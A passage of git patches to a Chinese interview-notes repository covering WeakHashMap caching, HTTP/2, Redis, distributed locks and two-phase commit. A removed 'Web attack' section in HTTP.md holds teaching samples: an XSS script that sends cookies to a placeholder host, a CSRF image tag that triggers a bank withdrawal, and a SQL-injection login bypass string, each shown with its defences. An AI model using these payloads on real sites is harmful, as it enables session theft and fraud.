@@ -982,6 +983,63 @@ public static void main(String[] args) {
 [3, 1, 4]
 ```
 
+## WeekHashMap
+
+### 存储结构
+
+WeakHashMap 的 Entry 继承自 WeakReference，被 WeakReference 关联的对象在下一次垃圾回收时会被回收。
+
+WeakHashMap 主要用来实现缓存，通过使用 WeakHashMap 来引用缓存对象，由 JVM 对这部分缓存进行回收。
+
+```java
+private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
+```
+
+### ConcurrentCache
+
+Tomcat 中的 ConcurrentCache 就使用了 WeakHashMap 来实现缓存功能。
+
+ConcurrentCache 采取的是分代缓存：
+
+- 经常使用的对象放入 eden 中，eden 使用 ConcurrentHashMap 实现，不用担心会被回收（伊甸园）；
+- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，用来存放比较老的对象，这些老对象会被垃圾收集器回收。
+
+```java
+public final class ConcurrentCache<K, V> {
+
+    private final int size;
+
+    private final Map<K, V> eden;
+
+    private final Map<K, V> longterm;
+
+    public ConcurrentCache(int size) {
+        this.size = size;
+        this.eden = new ConcurrentHashMap<>(size);
+        this.longterm = new WeakHashMap<>(size);
+    }
+
+    public V get(K k) {
+        V v = this.eden.get(k);
+        if (v == null) {
+            v = this.longterm.get(k);
+            if (v != null)
+                this.eden.put(k, v);
+        }
+        return v;
+    }
+
+    public void put(K k, V v) {
+        if (this.eden.size() >= size) {
+            this.longterm.putAll(this.eden);
+            this.eden.clear();
+        }
+        this.eden.put(k, v);
+    }
+}
+```
+
+
 # 参考资料
 
 - Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index 552a5e94..3bb9f289 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -184,49 +184,6 @@ WeakReference<Object> wf = new WeakReference<Object>(obj);
 obj = null;
 ```
 
-WeakHashMap 的 Entry 继承自 WeakReference，主要用来实现缓存。
-
-```java
-private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
-```
-
-Tomcat 中的 ConcurrentCache 就使用了 WeakHashMap 来实现缓存功能。ConcurrentCache 采取的是分代缓存，经常使用的对象放入 eden 中，而不常用的对象放入 longterm。eden 使用 ConcurrentHashMap 实现，longterm 使用 WeakHashMap，保证了不常使用的对象容易被回收。
-
-```java
-public final class ConcurrentCache<K, V> {
-
-    private final int size;
-
-    private final Map<K, V> eden;
-
-    private final Map<K, V> longterm;
-
-    public ConcurrentCache(int size) {
-        this.size = size;
-        this.eden = new ConcurrentHashMap<>(size);
-        this.longterm = new WeakHashMap<>(size);
-    }
-
-    public V get(K k) {
-        V v = this.eden.get(k);
-        if (v == null) {
-            v = this.longterm.get(k);
-            if (v != null)
-                this.eden.put(k, v);
-        }
-        return v;
-    }
-
-    public void put(K k, V v) {
-        if (this.eden.size() >= size) {
-            this.longterm.putAll(this.eden);
-            this.eden.clear();
-        }
-        this.eden.put(k, v);
-    }
-}
-```
-
 **（四）虚引用** 
 
 又称为幽灵引用或者幻影引用。一个对象是否有虚引用的存在，完全不会对其生存时间构成影响，也无法通过虚引用取得一个对象实例。

From 4c1c3ba35e61592f8c09ad7937e7c5672eb15b6d Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 28 Jul 2018 01:05:53 +0800
Subject: [PATCH 09/87] auto commit

---
 README.md                                     |  16 +-
 notes/HTTP.md                                 | 260 ++--------------
 notes/Redis.md                                |  38 +--
 notes/{一致性.md => 分布式.md}                | 286 ++++++++++++------
 notes/分布式问题分析.md                       | 257 ----------------
 notes/安全性.md                               | 219 ++++++++++++++
 notes/消息队列.md                             |  80 +++++
 notes/集群.md                                 | 194 ++++++++++++
 pics/09b52bcb-88ba-4e36-8244-b375f16ad116.jpg | Bin 0 -> 33792 bytes
 pics/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg | Bin 0 -> 61440 bytes
 pics/c5f611f0-fd5c-4158-9003-278141136e6e.jpg | Bin 0 -> 61440 bytes
 pics/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg | Bin 0 -> 31744 bytes
 12 files changed, 737 insertions(+), 613 deletions(-)
 rename notes/{一致性.md => 分布式.md} (53%)
 delete mode 100644 notes/分布式问题分析.md
 create mode 100644 notes/安全性.md
 create mode 100644 notes/消息队列.md
 create mode 100644 notes/集群.md
 create mode 100644 pics/09b52bcb-88ba-4e36-8244-b375f16ad116.jpg
 create mode 100644 pics/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg
 create mode 100644 pics/c5f611f0-fd5c-4158-9003-278141136e6e.jpg
 create mode 100644 pics/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg

diff --git a/README.md b/README.md
index 855db3ef..f777d200 100644
--- a/README.md
+++ b/README.md
@@ -105,13 +105,21 @@ Leetcode 上数据库题目的解题记录。
 
 ## 系统设计 :bulb:
 
-> [一致性](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/一致性.md)
+> [分布式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式.md)
 
-CAP、BASE、Paxos、Raft
+分布式锁、分布式事务、CAP、BASE、Paxos、Raft
 
->[分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
+> [集群](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
 
-分布式事务、分布式锁、分布式 Session、负载均衡
+负载均衡、Session 管理
+
+> [安全性](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/安全性.md)
+
+XSS、CSRF、SQL 注入、DDos
+
+> [消息队列](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/消息队列.md)
+
+消息处理模型、使用场景、可靠性
 
 ## 工具 :hammer:
 
diff --git a/notes/HTTP.md b/notes/HTTP.md
index 915e19ee..7f54bd1a 100644
--- a/notes/HTTP.md
+++ b/notes/HTTP.md
@@ -40,11 +40,11 @@
     * [完整性保护](#完整性保护)
     * [HTTPs 的缺点](#https-的缺点)
     * [配置 HTTPs](#配置-https)
-* [七、Web 攻击技术](#七web-攻击技术)
-    * [跨站脚本攻击](#跨站脚本攻击)
-    * [跨站请求伪造](#跨站请求伪造)
-    * [SQL 注入攻击](#sql-注入攻击)
-    * [拒绝服务攻击](#拒绝服务攻击)
+* [七、HTTP/2.0](#七http20)
+    * [HTTP/1.x 缺陷](#http1x-缺陷)
+    * [二进制分帧层](#二进制分帧层)
+    * [服务端推送](#服务端推送)
+    * [首部压缩](#首部压缩)
 * [八、GET 和 POST 的区别](#八get-和-post-的区别)
     * [作用](#作用)
     * [参数](#参数)
@@ -53,11 +53,6 @@
     * [可缓存](#可缓存)
     * [XMLHttpRequest](#xmlhttprequest)
 * [九、HTTP/1.0 与 HTTP/1.1 的区别](#九http10-与-http11-的区别)
-* [十、HTTP/2.0](#十http20)
-    * [HTTP/1.x 缺陷](#http1x-缺陷)
-    * [二进制分帧层](#二进制分帧层)
-    * [服务端推送](#服务端推送)
-    * [首部压缩](#首部压缩)
 * [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
@@ -716,213 +711,37 @@ HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认
 
 [Nginx 配置 HTTPS 服务器](https://aotu.io/notes/2016/08/16/nginx-https/index.html)
 
-# 七、Web 攻击技术
+# 七、HTTP/2.0
 
-## 跨站脚本攻击
+## HTTP/1.x 缺陷
 
-### 1. 概念
+ HTTP/1.x 实现简单是以牺牲应用性能为代价的：
 
-跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
+- 客户端需要使用多个连接才能实现并发和缩短延迟；
+- 不会压缩请求和响应首部，从而导致不必要的网络流量；
+- 不支持有效的资源优先级，致使底层 TCP 连接的利用率低下。
 
-例如有一个论坛网站，攻击者可以在上面发布以下内容：
+## 二进制分帧层
 
-```html
-<script>location.href="//domain.com/?c=" + document.cookie</script>
-```
+HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧，它们都是二进制格式的。
 
-之后该内容可能会被渲染成以下形式：
+<div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
 
-```html
-<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
-```
+在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。一个数据流都有一个唯一标识符和可选的优先级信息，用于承载双向信息。消息（Message）是与逻辑请求或响应消息对应的完整的一系列帧。帧（Fram）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
 
-另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
+<div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
 
-### 2. 危害
+## 服务端推送
 
-- 窃取用户的 Cookie 值
-- 伪造虚假的输入表单骗取个人信息
-- 显示伪造的文章或者图片
+HTTP/2.0 在客户端请求一个资源时，会把相关的资源一起发送给客户端，客户端就不需要再次发起请求了。例如客户端请求 page.html 页面，服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
 
-### 3. 防范手段
+<div align="center"> <img src="../pics//e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
 
-**（一）设置 Cookie 为 HttpOnly** 
+## 首部压缩
 
-设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
+HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
 
-**（二）过滤特殊字符** 
-
-例如将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。
-
-**（三）富文本编辑器的处理** 
-
-富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
-
-富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，可以定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。
-
-以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。
-
-[XSS 过滤在线测试](http://jsxss.com/zh/try.html)
-
-```html
-<h1 id="title">XSS Demo</h1>
-
-<p class="text-center">
-Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
-</p>
-
-<form>
-  <input type="text" name="q" value="test">
-  <button id="submit">Submit</button>
-</form>
-
-<pre>hello</pre>
-
-<p>
-  <a href="http://jsxss.com">http</a>
-</p>
-
-<h3>Features:</h3>
-<ul>
-  <li>Specifies HTML tags and their attributes allowed with whitelist</li>
-  <li>Handle any tags or attributes using custom function</li>
-</ul>
-
-<script type="text/javascript">
-alert(/xss/);
-</script>
-```
-
-```html
-<h1>XSS Demo</h1>
-
-<p>
-Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
-</p>
-
-&lt;form&gt;
-  &lt;input type="text" name="q" value="test"&gt;
-  &lt;button id="submit"&gt;Submit&lt;/button&gt;
-&lt;/form&gt;
-
-<pre>hello</pre>
-
-<p>
-  <a href="http://jsxss.com">http</a>
-</p>
-
-<h3>Features:</h3>
-<ul>
-  <li>Specifies HTML tags and their attributes allowed with whitelist</li>
-  <li>Handle any tags or attributes using custom function</li>
-</ul>
-
-&lt;script type="text/javascript"&gt;
-alert(/xss/);
-&lt;/script&gt;
-```
-
-## 跨站请求伪造
-
-### 1. 概念
-
-跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
-
-XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
-
-假如一家银行用以执行转账操作的 URL 地址如下：
-
-```
-http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
-```
-
-那么，一个恶意攻击者可以在另一个网站上放置如下代码：
-
-```
-<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
-```
-
-如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 资金。
-
-这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。
-
-透过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
-
-### 2. 防范手段
-
-**（一）检查 Referer 首部字段** 
-
-Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 XSRF 攻击。
-
-这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
-
-**（二）添加校验 Token** 
-
-在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。
-
-**（三）输入验证码** 
-
-因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。
-
-也可以要求用户输入验证码来进行校验。
-
-## SQL 注入攻击
-
-### 1. 概念
-
-服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。
-
-### 2. 攻击原理
-
-例如一个网站登录验证的 SQL 查询代码为：
-
-```sql
-strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
-```
-
-如果填入以下内容：
-
-```sql
-userName = "1' OR '1'='1";
-passWord = "1' OR '1'='1";
-```
-
-那么 SQL 查询字符串为：
-
-```sql
-strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
-```
-
-此时无需验证通过就能执行以下查询：
-
-```sql
-strSQL = "SELECT * FROM users;"
-```
-
-### 3. 防范手段
-
-**（一）使用参数化查询** 
-
-以下以 Java 中的 PreparedStatement 为例，它是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。
-
-```java
-PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
-stmt.setString(1, userid);
-stmt.setString(2, password);
-ResultSet rs = stmt.executeQuery();
-```
-
-**（二）单引号转换** 
-
-将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。
-
-## 拒绝服务攻击
-
-拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
-
-分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
-
-> [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
+<div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
 
 # 八、GET 和 POST 的区别
 
@@ -1021,37 +840,6 @@ DELETE /idX/delete HTTP/1.1   -> Returns 404
 
 - HTTP/1.1 新增缓存处理指令 max-age
 
-# 十、HTTP/2.0
-
-## HTTP/1.x 缺陷
-
- HTTP/1.x 实现简单是以牺牲应用性能为代价的：
-
-- 客户端需要使用多个连接才能实现并发和缩短延迟；
-- 不会压缩请求和响应首部，从而导致不必要的网络流量；
-- 不支持有效的资源优先级，致使底层 TCP 连接的利用率低下。
-
-## 二进制分帧层
-
-HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧，它们都是二进制格式的。
-
-<div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
-
-在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。一个数据流都有一个唯一标识符和可选的优先级信息，用于承载双向信息。消息（Message）是与逻辑请求或响应消息对应的完整的一系列帧。帧（Fram）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
-
-<div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
-
-## 服务端推送
-
-HTTP/2.0 在客户端请求一个资源时，会把相关的资源一起发送给客户端，客户端就不需要再次发起请求了。例如客户端请求 page.html 页面，服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
-
-<div align="center"> <img src="../pics//e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
-
-## 首部压缩
-
-HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
-
-<div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
 
 # 参考资料
 
@@ -1075,10 +863,6 @@ HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。HTTP/2.0
 - [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
 - [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
 - [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
-- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
-- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
-- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
-- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
 - [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
 - [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
 - [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
diff --git a/notes/Redis.md b/notes/Redis.md
index 21840399..247d0987 100644
--- a/notes/Redis.md
+++ b/notes/Redis.md
@@ -27,18 +27,17 @@
 * [八、持久化](#八持久化)
     * [RDB 持久化](#rdb-持久化)
     * [AOF 持久化](#aof-持久化)
-* [九、发布与订阅](#九发布与订阅)
-* [十、事务](#十事务)
-* [十一、事件](#十一事件)
+* [九、事务](#九事务)
+* [十、事件](#十事件)
     * [文件事件](#文件事件)
     * [时间事件](#时间事件)
     * [事件的调度与执行](#事件的调度与执行)
-* [十二、复制](#十二复制)
+* [十一、复制](#十一复制)
     * [连接过程](#连接过程)
     * [主从链](#主从链)
-* [十三、Sentinel](#十三sentinel)
-* [十四、分片](#十四分片)
-* [十五、一个简单的论坛系统分析](#十五一个简单的论坛系统分析)
+* [十二、Sentinel](#十二sentinel)
+* [十三、分片](#十三分片)
+* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
     * [文章信息](#文章信息)
     * [点赞功能](#点赞功能)
     * [对文章进行排序](#对文章进行排序)
@@ -453,20 +452,7 @@ Redis 是内存型数据库，为了保证数据在断电后不会丢失，需
 
 随着服务器写请求的增多，AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性，能够去除 AOF 文件中的冗余写命令。
 
-# 九、发布与订阅
-
-订阅者订阅了频道之后，发布者向频道发送字符串消息会被所有订阅者接收到。
-
-某个客户端使用 SUBSCRIBE 订阅一个频道，其它客户端可以使用 PUBLISH 向这个频道发送消息。
-
-发布与订阅模式和观察者模式有以下不同：
-
-- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
-- 观察者模式是同步的，当事件触发时，主题会去调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息。
-
-<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
-
-# 十、事务
+# 九、事务
 
 一个事务包含了多个命令，服务器在执行事务期间，不会改去执行其它客户端的命令请求。
 
@@ -474,7 +460,7 @@ Redis 是内存型数据库，为了保证数据在断电后不会丢失，需
 
 Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
 
-# 十一、事件
+# 十、事件
 
 Redis 服务器是一个事件驱动程序。
 
@@ -539,7 +525,7 @@ def main():
 
 <div align="center"> <img src="../pics//c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="400"/> </div><br>
 
-# 十二、复制
+# 十一、复制
 
 通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
 
@@ -559,11 +545,11 @@ def main():
 
 <div align="center"> <img src="../pics//395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
 
-# 十三、Sentinel
+# 十二、Sentinel
 
 Sentinel（哨兵）可以监听主服务器，并在主服务器进入下线状态时，自动从从服务器中选举出新的主服务器。
 
-# 十四、分片
+# 十三、分片
 
 分片是将数据划分为多个部分的方法，可以将数据存储到多台机器里面，也可以从多台机器里面获取数据，这种方法在解决某些问题时可以获得线性级别的性能提升。
 
@@ -575,7 +561,7 @@ Sentinel（哨兵）可以监听主服务器，并在主服务器进入下线状
 - 代理分片：将客户端请求发送到代理上，由代理转发请求到正确的节点上。
 - 服务器分片：Redis Cluster。
 
-# 十五、一个简单的论坛系统分析
+# 十四、一个简单的论坛系统分析
 
 该论坛系统功能如下：
 
diff --git a/notes/一致性.md b/notes/分布式.md
similarity index 53%
rename from notes/一致性.md
rename to notes/分布式.md
index b00de8ff..0f136855 100644
--- a/notes/一致性.md
+++ b/notes/分布式.md
@@ -1,32 +1,178 @@
 <!-- GFM-TOC -->
-* [一、CAP](#一cap)
+* [一、分布式锁](#一分布式锁)
+    * [数据库的唯一索引](#数据库的唯一索引)
+    * [Redis 的 SETNX 指令](#redis-的-setnx-指令)
+    * [Redis 的 RedLock 算法](#redis-的-redlock-算法)
+    * [Zookeeper 的有序节点](#zookeeper-的有序节点)
+* [二、分布式事务](#二分布式事务)
+    * [本地消息表](#本地消息表)
+    * [2PC](#2pc)
+* [三、CAP](#三cap)
     * [一致性](#一致性)
     * [可用性](#可用性)
     * [分区容忍性](#分区容忍性)
     * [权衡](#权衡)
-* [二、BASE](#二base)
+* [四、BASE](#四base)
     * [基本可用](#基本可用)
     * [软状态](#软状态)
     * [最终一致性](#最终一致性)
-* [三、2PC](#三2pc)
-    * [运行过程](#运行过程)
-    * [存在的问题](#存在的问题)
-* [四、Paxos](#四paxos)
+* [五、Paxos](#五paxos)
     * [执行过程](#执行过程)
     * [约束条件](#约束条件)
 * [五、Raft](#五raft)
     * [单个 Candidate 的竞选](#单个-candidate-的竞选)
     * [多个 Candidate 竞选](#多个-candidate-竞选)
     * [日志复制](#日志复制)
-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、CAP
+# 一、分布式锁
+
+在单机场景下，可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下，需要同步的进程可能位于不同的节点上，那么就需要使用分布式锁。
+
+阻塞锁通常使用互斥量来实现：
+
+- 互斥量为 1 表示有其它进程在使用锁，此时处于锁定状态；
+- 互斥量为 0 表示未锁定状态。
+
+1 和 0 可以用一个整型值表示，也可以用某个数据存在或者不存在表示，存在表示互斥量为 1。
+
+## 数据库的唯一索引
+
+当想要获得锁时，就向表中插入一条记录，释放锁时就删除这条记录。唯一索引可以保证该记录只被插入一次，那么就可以用这个记录是否存在来判断是否存于锁定状态。
+
+存在以下几个问题：
+
+- 锁没有失效时间，解锁失败的话其它进程无法再获得锁。
+- 只能是非阻塞锁，插入失败直接就报错了，无法重试。
+- 不可重入，已经获得锁的进程也必须重新获取锁。
+
+## Redis 的 SETNX 指令
+
+使用 SETNX（set if not exist）指令插入一个键值对，如果 Key 已经存在，那么会返回 False，否则插入成功并返回 True。
+
+SETNX 指令和数据库的唯一索引类似，保证了只存在一个 Key 的键值对，那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
+
+EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了数据库唯一索引实现方式中释放锁失败的问题。
+
+## Redis 的 RedLock 算法
+
+使用了多个 Redis 实例来实现分布式锁，这是为了保证在发生单点故障时仍然可用。
+
+- 尝试从 N 个相互独立 Redis 实例获取锁，如果一个实例不可用，应该尽快尝试下一个；
+- 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N / 2 + 1）实例上获取了锁，那么就认为锁获取成功了；
+- 如果锁获取失败，会到每个实例上释放锁。
+
+## Zookeeper 的有序节点
+
+### 1. Zookeeper 抽象模型
+
+Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点表示它的父节点为 /app1。
+
+<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
+
+### 2. 节点类型
+
+- 永久节点：不会因为会话结束或者超时而消失；
+- 临时节点：如果会话结束或者超时就会消失；
+- 有序节点：会在节点名的后面加一个数字后缀，并且是有序的，例如生成的有序节点为 /lock/node-0000000000，它的下一个有序节点则为 /lock/node-0000000001，以此类推。
+
+### 3. 监听器
+
+为一个节点注册监听器，在节点状态发生改变时，会给客户端发送消息。
+
+### 4. 分布式锁实现
+
+- 创建一个锁目录 /lock；
+- 当一个客户端需要获取锁时，在 /lock 下创建临时的且有序的子节点；
+-  客户端获取 /lock 下的子节点列表，判断自己创建的子节点是否为当前子节点列表中序号最小的子节点，如果是则认为获得锁；否则监听自己的前一个子节点，获得子节点的变更通知后重复此步骤直至获得锁；
+- 执行业务代码，完成后，删除对应的子节点。
+
+### 5. 会话超时
+
+如果一个已经获得锁的会话超时了，因为创建的是临时节点，所以该会话对应的临时节点会被删除，其它会话就可以获得锁了。可以看到，Zookeeper 分布式锁不会出现数据库的唯一索引实现分布式锁的释放锁失败问题。
+
+### 6. 羊群效应
+
+一个节点未获得锁，需要监听自己的前一个子节点，这是因为如果监听所有的子节点，那么任意一个子节点状态改变，其它所有子节点都会收到通知（羊群效应），而我们只希望它的后一个子节点收到通知。
+
+参考：
+
+- [Distributed locks with Redis](https://redis.io/topics/distlock)
+- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
+- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
+
+# 二、分布式事务
+
+指事务的操作位于不同的节点上，需要保证事务的 AICD 特性。例如在下单场景下，库存和订单如果不在同一个节点上，就涉及分布式事务。
+
+## 本地消息表
+
+### 1. 原理
+
+本地消息表与业务数据表处于同一个数据库中，这样就能利用本地事务来保证在对这两个表的操作满足事务特性。
+
+1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息，本地事务能保证这个消息一定会被写入本地消息表中。
+2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中，如果转发成功则将消息从本地消息表中删除，否则继续重新转发。
+3. 在分布式事务操作的另一方从消息队列中读取一个消息，并执行消息中的操作。
+
+<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
+
+### 2. 分析
+
+本地消息表利用了本地事务来实现分布式事务，并且使用了消息队列来保证最终一致性。
+
+## 2PC
+
+两阶段提交（Two-phase Commit，2PC）
+
+通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
+
+### 1. 运行过程
+
+（一）准备阶段
+
+协调者询问参与者事务是否执行成功，参与者发回事务执行结果。
+
+<div align="center"> <img src="../pics//04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
+
+（二）提交阶段
+
+如果事务在每个参与者上都执行成功，事务协调者发送通知让参与者提交事务；否则，协调者发送通知让参与者回滚事务。
+
+需要注意的是，在准备阶段，参与者执行了事务，但是还未提交。只有在提交阶段接收到协调者发来的通知后，才进行提交或者回滚。
+
+<div align="center"> <img src="../pics//2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
+
+### 2. 存在的问题
+
+（一）同步阻塞
+
+所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态，无法进行其它操作。
+
+（二）单点问题
+
+协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响，特别是在阶段二发生故障，所有参与者会一直等待状态，无法完成其它操作。
+
+（三）数据不一致
+
